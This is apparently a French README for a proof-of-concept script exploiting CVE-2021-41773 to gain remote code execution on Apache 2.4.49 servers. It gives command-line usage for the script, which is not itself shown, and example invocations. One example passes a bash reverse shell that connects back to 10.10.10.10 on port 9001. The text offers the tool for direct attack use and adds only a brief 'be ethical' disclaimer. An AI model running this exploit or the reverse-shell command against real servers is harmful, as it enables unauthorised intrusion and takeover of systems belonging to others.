CVE-2021-41773 - Exécution de code à distance dans Apache 2.4.49

PoC pour CVE-2021-41773 car je viens de trouver des exploits trop complexes et celui-ci va directement à l'exécution de code à distance.

Utilisation

Indiquez simplement l'adresse IP du serveur vulnérable Apache 2.4.49 avec -i et la commande système souhaitée avec -c. Si le serveur web n'écoute pas sur le port 80, nous pouvons le spécifier avec -p et si le serveur web utilise HTTPs, vous devez utiliser l'option --use-https.

$ python3 CVE-2021-41773.py -i 10.10.10.10 -c 'id'

$ python3 CVE-2021-41773.py -i example.com -p 8080 -c '/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.10.10/9001 0>&1"'

$ python3 CVE-2021-41773.py -i 20.20.20.20 -p 443 --use-https -c 'whoami'

Utilisez-le sous votre propre responsabilité (:

Soyez éthique.